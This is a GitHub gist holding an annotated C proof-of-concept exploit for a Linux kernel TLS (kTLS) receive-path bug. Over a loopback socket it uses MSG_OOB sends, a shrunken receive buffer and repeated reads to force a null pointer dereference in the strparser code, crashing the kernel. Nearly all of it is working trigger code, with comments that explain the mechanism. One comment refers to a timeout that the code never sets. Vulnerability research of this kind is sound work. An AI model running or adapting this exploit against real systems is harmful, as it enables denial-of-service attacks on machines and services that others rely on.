-
-
Save farazsth98/2c3d75a44a0d6bdf3df0d4756b940fc1 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #define _GNU_SOURCE | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <stdlib.h> | |
| #include <sys/msg.h> | |
| #include <sched.h> | |
| #include <sys/wait.h> | |
| #include <unistd.h> | |
| #include <errno.h> | |
| #include <netinet/tcp.h> | |
| #include <netinet/in.h> | |
| #include <arpa/inet.h> | |
| #include <sys/socket.h> | |
| #include <sys/types.h> | |
| #include <sys/sendfile.h> | |
| #include <sys/syscall.h> | |
| #include <fcntl.h> | |
| #include <err.h> | |
| #include <linux/tls.h> | |
| #include <sys/mman.h> | |
| #include <sys/prctl.h> | |
| #include <pthread.h> | |
| #define SYSCHK(x) ({ \ | |
| typeof(x) __res = (x); \ | |
| if (__res == (typeof(x))-1) \ | |
| err(1, "SYSCHK(" #x ")"); \ | |
| __res; \ | |
| }) | |
| #define PORT 4444 | |
| void setup_tls(int sock) | |
| { | |
| struct tls12_crypto_info_aes_ccm_128 crypto = {0}; | |
| crypto.info.version = TLS_1_2_VERSION; | |
| crypto.info.cipher_type = TLS_CIPHER_AES_CCM_128; | |
| // Reduce the socket receive buffer size to trigger memory pressure later | |
| SYSCHK(setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &(int){0}, sizeof(int))); | |
| // Enable TLS and set up the RX side | |
| SYSCHK(setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls"))); | |
| SYSCHK(setsockopt(sock, SOL_TLS, TLS_RX, &crypto, sizeof(crypto))); | |
| } | |
| pthread_barrier_t barrier; | |
| struct sockaddr_in addr; | |
| struct sockaddr_in spray_addr; | |
| void *exploit_thread(void *dummy) { | |
| int client = SYSCHK(socket(AF_INET, SOCK_STREAM, 0)); | |
| // Wait for the listener to be ready, then connect to it | |
| pthread_barrier_wait(&barrier); | |
| SYSCHK(connect(client, (struct sockaddr *)&addr, sizeof(addr))); | |
| // Wait for the listener to set up TLS on the accepted connection. | |
| pthread_barrier_wait(&barrier); | |
| // 1 MB of garbage data | |
| char garbage[1024 * 1024]; | |
| memset(garbage, 'A', sizeof(garbage)); | |
| // Send two bytes of a TLS header using `MSG_OOB`. It doesn't matter | |
| // that it's garbage for this trigger. | |
| // | |
| // This send will `tls_strp_read_sock()` twice: | |
| // 1. First time through `tcp_rcv_established() -> tcp_urg()` | |
| // 2. Second time through `tcp_rcv_established() -> tcp_data_queue()` | |
| // | |
| // In both cases, `inq` in `tls_strp_read_sock()` will be set to 1, and | |
| // `tls_rx_msg_size()` will just return 0 since the header is incomplete. | |
| // `tls_strp_read_copy()` will also be called, but will just return 0 since | |
| // there is no memory pressure yet. | |
| // | |
| // Now, why MSG_OOB and why 2 bytes? | |
| // | |
| // First, MSG_OOB actually prevents this SKB from coalescing with the next | |
| // SKB (next one is where we send tons of garbage). The importance of this | |
| // is explained below. | |
| // | |
| // Second, why 2 bytes? When the `MSG_OOB` flag is used, the socket's `urg` | |
| // pointer is used to store the last byte. This means that when `tls_strp_read_sock()` | |
| // is called, it will only ever see 1 byte (`inq == 1`). We want there to at least be | |
| // 1 non-OOB byte in the TCP receive queue so that it can get processed with | |
| // the next send. See below. | |
| printf("s1\n"); | |
| send(client, garbage, 2, MSG_OOB); | |
| // Now, we send tons of garbage. This will set `strp->sk->sk_backlog.rmem_alloc` | |
| // to a really large number, much larger than the `strp->sk->sk_rcvbuf` size that | |
| // we set with `setsockopt()` earlier. | |
| // | |
| // Now, when `tls_strp_read_sock()` is called here, it will actually process the | |
| // SKB from our previous `send()` call. Why? Because this garbage SKB cannot | |
| // be coalesced with the previous SKB, since `MSG_OOB` causes the sequence numbers | |
| // to not match up due to the 2nd byte going into the socket's `urg` pointer. | |
| // | |
| // Since the previous send() call returned 0, signifying an incomplete header, | |
| // `tls_strp_read_sock()` will start re-processing from the beginning. | |
| // | |
| // The difference now though, is that when `tls_strp_read_copy()` is called, | |
| // memory pressure will exist due to the huge amount of garbage we're sending. | |
| // This will cause `strp->copy_mode = 1` to be set, and `tls_strp_copyin()` to be | |
| // called. | |
| // | |
| // However, since this time it's still processing the incomplete header, this means | |
| // that `strp->stm.full_len` will still be 0, so it will use `TLS_MAX_PAYLOAD_SIZE + BYTES_PER_FRAG` | |
| // to initialize 5 pages of fragments in the `frags` array of `strp->anchor`. | |
| // | |
| // Then, it will call `tls_strp_read_copyin()`, which will go to `tls_strp_copyin_frag()`. | |
| // Since we aren still looking at an incomplete header, `tls_rx_msg_size()` will just | |
| // return 0, and we continue to the next send. | |
| // | |
| // NOTABLY: `strp->copy_mode` will now be set to 1. | |
| printf("s2\n"); | |
| send(client, garbage, 0x8000, 0); | |
| //getchar(); | |
| // This one triggers `tls_strp_read_copyin()` directly from `tls_strp_read_sock()` | |
| // now that `strp->copy_mode` has been set to 1 by the previous send. This time, | |
| // `inq` will be 0x8000, because it processes the SKB sent in the previous send. | |
| // No coalescing occurs again since we didn't use `MSG_OOB` before, but are | |
| // using it now. | |
| // | |
| // Now, why was the first ever SKB discarded? Because when `tls_strp_read_copyin()` | |
| // is called, it actually calls `tcp_read_sock()` with `tls_strp_copyin()` as a callback | |
| // function. In `__tcp_read_sock()`, if the callback returns a value greater than 0, | |
| // it will eat the SKB, removing it from the TCP receive queue. | |
| // | |
| // ================================ | |
| // | |
| // This time, when `tls_strp_copyin_frag()` is inevitably called again, we're | |
| // not looking at an incomplete header, but a malformed one (its full of garbage). | |
| // | |
| // This causes `tls_rx_msg_size()` to return an error, but `skb->len` will have | |
| // already been incremented. Additionally, looking at `tls_strp_copyin()`, it will | |
| // set `desc.error` to the error code, and return 0. | |
| // | |
| // Since 0 is returned, `__tcp_read_sock()` will NOT eat the SKB, so the previous | |
| // 0x8000 sized garbage SKB will always be re-processed whenever `tls_strp_read_sock()` is | |
| // triggered. | |
| printf("s3\n"); | |
| send(client, garbage, 1, MSG_OOB); | |
| pthread_barrier_wait(&barrier); | |
| } | |
| void exploit() { | |
| char buf[4096]; | |
| int listener, conn, client; | |
| setvbuf(stdout, 0, 2, 0); | |
| // Initialize addr structure | |
| addr.sin_family = AF_INET; | |
| addr.sin_port = htons(PORT); | |
| addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
| listener = SYSCHK(socket(AF_INET, SOCK_STREAM, 0)); | |
| if (listener < 0) | |
| { | |
| perror("socket listener"); | |
| exit(1); | |
| } | |
| // Set process name to "TEST" for printk statements in the kernel | |
| SYSCHK((prctl(PR_SET_NAME, "TEST"))); | |
| // Listening socket listens to 127.0.0.1:4444 | |
| SYSCHK(bind(listener, (struct sockaddr *)&addr, sizeof(addr))); | |
| // Barrier for thread synchronization | |
| pthread_barrier_init(&barrier, NULL, 2); | |
| // Create `exploit_thread` | |
| pthread_t tid; | |
| pthread_create(&tid, NULL, exploit_thread, NULL); | |
| printf("Thread created\n"); | |
| // Make listener listen and trigger barrier so `exploit_thread` can connect to it | |
| SYSCHK(listen(listener, 10)); | |
| pthread_barrier_wait(&barrier); | |
| // Accept `exploit_thread`'s connection | |
| conn = SYSCHK(accept(listener, NULL, 0)); | |
| // Setup TLS for this connection | |
| setup_tls(conn); | |
| pthread_barrier_wait(&barrier); | |
| // Sockets set up, wait for `exploit_thread` to send data before we recv | |
| printf("TLS setup, Now waiting before recv\n"); | |
| pthread_barrier_wait(&barrier); | |
| // Now that `exploit_thread` has set us up for the bug, we can start receiving. | |
| // | |
| // When we read from the socket, `tls_sw_recvmsg()` will be called, which | |
| // then calls `tls_rx_rec_wait()`. This wait function will call `tls_strp_check_rcv()`, | |
| // which calls into `tls_strp_read_sock()`. | |
| // | |
| // After this finishes, if `tls_strp_msg_ready()` isn't true, then the thread goes | |
| // to sleep and waits either for a timeout, or a signal. | |
| // | |
| // Using `setsockopt()`, we set this timeout to 5ms already in the `setup_tls()` function. | |
| // | |
| // So the thread will get woken up after a while, and it will retry reading from the socket. | |
| // | |
| // However, since `tcp_read_sock()` will never eat the second SKB we sent, reprocessing | |
| // will always trigger an error in `tls_rx_msg_size()`, which will constantly keep | |
| // increasing `skb->len`. | |
| // | |
| // If we loop and repeat enough reads, at some point, `frags[5]` will be accessed. | |
| // Then, when `skb_copy_bits()` tries to copy the skb data into the fragment, since | |
| // `frags[5]` will be zero-initialized, it will cause a null pointer dereference. | |
| // | |
| // The bug will trigger on the 8th or 9th read. If you want, you can do 7 or 8 reads, | |
| // then add a call to `getchar()` so a debugger can be attached to see what | |
| // happens. | |
| for (int i = 0; i < 40; i++) { | |
| printf("%dth read\n", i); | |
| recv(conn, buf, 0x100, MSG_DONTWAIT); | |
| } | |
| close(conn); | |
| } | |
| int main(int argc, char **argv) | |
| { | |
| exploit(); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment